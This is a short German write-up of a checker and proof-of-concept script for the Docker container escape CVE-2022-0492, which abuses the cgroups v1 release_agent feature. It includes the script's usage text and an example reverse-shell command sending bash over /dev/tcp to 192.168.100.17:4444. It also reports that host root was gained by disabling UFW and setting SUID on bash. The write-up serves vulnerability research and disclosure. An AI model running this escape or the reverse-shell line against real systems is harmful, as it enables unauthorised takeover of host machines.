
Docker-Breakout-Checker und PoC über CAP_SYS_ADMIN und über Benutzer-Namespaces (CVE-2022-0492)
Um die Schwachstelle auszunutzen, muss der Angreifer Zugriff auf einen Docker-Container haben, der auf einem verwundbaren System läuft. Nach erfolgreicher Ausnutzung kann der Angreifer den Container verlassen und die vollständige Kontrolle über das Host-System erlangen.
Eine Schwachstelle wurde in der Funktion cgroup_release_agent_write im Linux-Kernel in kernel/cgroup/cgroup-v1.c gefunden. Dieser Fehler ermöglicht unter bestimmten Umständen die Nutzung des release_agent-Features von cgroups v1, um Privilegien zu erweitern und die Namespace-Isolation unerwartet zu umgehen.
Einfacher ausgedrückt: cgroups v1 verfügt über ein Feature namens release_agent, das ein Programm ausführt, wenn ein Prozess in der cgroup beendet wird. Wenn notify_on_release aktiviert ist, führt der Kernel das release_agent-Binary als root aus. Durch Bearbeiten der release_agent-Datei kann ein Angreifer sein eigenes Binary mit erweiterten Privilegien ausführen und die Kontrolle über das System übernehmen. Die release_agent-Datei gehört jedoch root, sodass nur ein Benutzer mit root-Zugriff sie ändern kann.
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Execute this script in a Docker to check for vulnerability or to exploit it. (º___\/{
[>] Usage:
sh CVE-2022-0492.sh --checker Verify if system is vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Execute command on host machine.
sh CVE-2022-0492.sh -h|--help Print the help panel.
[>] Example:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
Der Root-Benutzer auf dem Host-Rechner wurde geknackt, indem UFW deaktiviert und dann eine Reverse Shell gesendet wurde.

Der Root-Benutzer auf dem Host-Rechner wurde geknackt, indem SUID auf bash gesetzt und ebenfalls eine Reverse Shell gesendet wurde.
